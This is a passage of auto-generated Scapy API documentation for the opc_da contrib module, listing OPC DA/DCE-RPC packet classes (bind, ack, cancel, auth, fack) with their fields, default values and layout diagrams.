	PacketField

	None



	saResAddr

	PacketField

	None















	
class scapy.contrib.opc_da.OBJREF_STANDARDLE(_pkt, /, *, std=None, saResAddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OBJREF_STANDARD


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              STD              |           SARESADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OBJREF_STANDARDLE                      


OBJREF_STANDARDLE fields






	std

	PacketField

	None



	saResAddr

	PacketField

	None















	
class scapy.contrib.opc_da.OPCHandle(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L303-L308]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L307-L308]

	








	
class scapy.contrib.opc_da.OpcDaAck(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L844-L848]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L847-L848]

	








	
class scapy.contrib.opc_da.OpcDaAlter_Context_Resp(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, portSpec=b'\x00\x00\x00\x00', pad2=0, resultList=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1011-L1025]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1024-L1025]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORTSPEC           |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OpcDaAlter_Context_Resp                   


OpcDaAlter_Context_Resp fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	portSpec

	PacketField

	b'\x00\x00\x00\x00'



	pad2

	IntField

	0



	resultList

	PacketField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaAlter_Context_RespLE(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, portSpec=b'\x00\x00\x00\x00', pad2=0, resultList=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaAlter_Context_Resp


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORTSPEC           |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OpcDaAlter_Context_RespLE                  


OpcDaAlter_Context_RespLE fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	portSpec

	PacketField

	b'\x00\x00\x00\x00'



	pad2

	IntField

	0



	resultList

	PacketField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaAlter_context(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L994-L1005]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1004-L1005]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OpcDaAlter_context                      


OpcDaAlter_context fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaAlter_contextLE(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaAlter_context


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OpcDaAlter_contextLE                     


OpcDaAlter_contextLE fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaAuth3(_pkt, /, *, code=5840, code2=5840, authType=10, authLevel=2, authPadLen=0, authReserved=0, authContextId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L646-L664]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CODE             |             CODE2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTHTYPE   |   AUTHLEVEL   |   AUTHPADLEN  |  AUTHRESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AUTHCONTEXTID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OpcDaAuth3                          


OpcDaAuth3 fields






	code

	ShortField

	5840



	code2

	ShortField

	5840



	authType

	ByteField

	10



	authLevel

	ByteField

	2



	authPadLen

	ByteField

	0



	authReserved

	ByteField

	0



	authContextId

	IntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L658-L664]

	








	
class scapy.contrib.opc_da.OpcDaAuth3LE(_pkt, /, *, code=5840, code2=5840, authType=10, authLevel=2, authPadLen=0, authReserved=0, authContextId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaAuth3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CODE             |             CODE2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTHTYPE   |   AUTHLEVEL   |   AUTHPADLEN  |  AUTHRESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AUTHCONTEXTID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaAuth3LE                         


OpcDaAuth3LE fields






	code

	ShortField

	5840



	code2

	ShortField

	5840



	authType

	ByteField

	10



	authLevel

	ByteField

	2



	authPadLen

	ByteField

	0



	authReserved

	ByteField

	0



	authContextId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaBind(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, nbContextElement=1, reserved=0, reserved2=0, contextItem=[], authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L926-L942]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L941-L942]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NBCONTEXTELEMEN|    RESERVED   |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTEXTITEM          |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OpcDaBind                          


OpcDaBind fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	nbContextElement

	ByteField

	1



	reserved

	ByteField

	0



	reserved2

	ShortField

	0



	contextItem

	PacketListField

	[]



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaBindLE(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, nbContextElement=1, reserved=0, reserved2=0, contextItem=[], authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaBind


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NBCONTEXTELEMEN|    RESERVED   |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTEXTITEM          |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OpcDaBindLE                         


OpcDaBindLE fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	nbContextElement

	ByteField

	1



	reserved

	ByteField

	0



	reserved2

	ShortField

	0



	contextItem

	PacketListField

	[]



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaBind_ack(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, portSpec=b'\x00\x00\x00\x00', pad2=0, resultList=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L952-L966]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L965-L966]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORTSPEC           |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaBind_ack                        


OpcDaBind_ack fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	portSpec

	PacketField

	b'\x00\x00\x00\x00'



	pad2

	IntField

	0



	resultList

	PacketField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaBind_ackLE(_pkt, /, *, maxXmitFrag=5840, maxRecvtFrag=5840, assocGroupId=0, portSpec=b'\x00\x00\x00\x00', pad2=0, resultList=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaBind_ack


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXXMITFRAG          |          MAXRECVTFRAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ASSOCGROUPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORTSPEC           |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaBind_ackLE                       


OpcDaBind_ackLE fields






	maxXmitFrag

	ShortField

	5840



	maxRecvtFrag

	ShortField

	5840



	assocGroupId

	IntField

	0



	portSpec

	PacketField

	b'\x00\x00\x00\x00'



	pad2

	IntField

	0



	resultList

	PacketField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaBind_nak(_pkt, /, *, providerRejectReason=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L977-L985]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L984-L985]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PROVIDERREJECTREASON     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaBind_nak                        


OpcDaBind_nak fields






	providerRejectReason

	ShortEnumField

	0















	
class scapy.contrib.opc_da.OpcDaBind_nakLE(_pkt, /, *, providerRejectReason=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaBind_nak


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PROVIDERREJECTREASON     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaBind_nakLE                       


OpcDaBind_nakLE fields






	providerRejectReason

	ShortEnumField

	0















	
class scapy.contrib.opc_da.OpcDaCancel_ack(_pkt, /, *, version=0, cancelId=0, accepting=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L907-L917]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L916-L917]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CANCELID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ACCEPTING   |
+-+-+-+-+-+-+-+-+

                       Fig. OpcDaCancel_ack                       


OpcDaCancel_ack fields






	version

	IntField

	0



	cancelId

	IntField

	0



	accepting

	ByteField

	1















	
class scapy.contrib.opc_da.OpcDaCancel_ackLE(_pkt, /, *, version=0, cancelId=0, accepting=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaCancel_ack


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CANCELID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ACCEPTING   |
+-+-+-+-+-+-+-+-+

                      Fig. OpcDaCancel_ackLE                      


OpcDaCancel_ackLE fields






	version

	IntField

	0



	cancelId

	IntField

	0



	accepting

	ByteField

	1















	
class scapy.contrib.opc_da.OpcDaCl_cancel(_pkt, /, *, authentication=None, version=0, cancelId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L852-L862]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L861-L862]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CANCELID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaCl_cancel                        


OpcDaCl_cancel fields






	authentication

	PacketField

	None



	version

	IntField

	0



	cancelId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaCl_cancelLE(_pkt, /, *, authentication=None, version=0, cancelId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaCl_cancel


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CANCELID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OpcDaCl_cancelLE                       


OpcDaCl_cancelLE fields






	authentication

	PacketField

	None



	version

	IntField

	0



	cancelId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaCo_cancel(_pkt, /, *, authentication=None, version=0, cancelId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1044-L1054]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1053-L1054]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CANCELID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaCo_cancel                        


OpcDaCo_cancel fields






	authentication

	PacketField

	None



	version

	IntField

	0



	cancelId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaCo_cancelLE(_pkt, /, *, authentication=None, version=0, cancelId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaCo_cancel


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATION        |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CANCELID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OpcDaCo_cancelLE                       


OpcDaCo_cancelLE fields






	authentication

	PacketField

	None



	version

	IntField

	0



	cancelId

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaFack(_pkt, /, *, version=0, pad=0, windowSize=0, maxTsdu=0, maxFragSize=0, serialNum=0, selackLen=0, selack=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L875-L891]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L890-L891]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |      PAD      |   WINDOWSIZE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    MAXTSDU                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  MAXFRAGSIZE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           SERIALNUM           |   SELACKLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             SELACK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OpcDaFack                          


OpcDaFack fields






	version

	ShortField

	0



	pad

	ByteField

	0



	windowSize

	ShortField

	0



	maxTsdu

	IntField

	0



	maxFragSize

	IntField

	0



	serialNum

	ShortField

	0



	selackLen

	FieldLenField

	0



	selack

	PacketListField

	[]















	
class scapy.contrib.opc_da.OpcDaFackLE(_pkt, /, *, version=0, pad=0, windowSize=0, maxTsdu=0, maxFragSize=0, serialNum=0, selackLen=0, selack=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaFack


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |      PAD      |   WINDOWSIZE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    MAXTSDU                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  MAXFRAGSIZE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           SERIALNUM           |   SELACKLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             SELACK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OpcDaFackLE                         


OpcDaFackLE fields






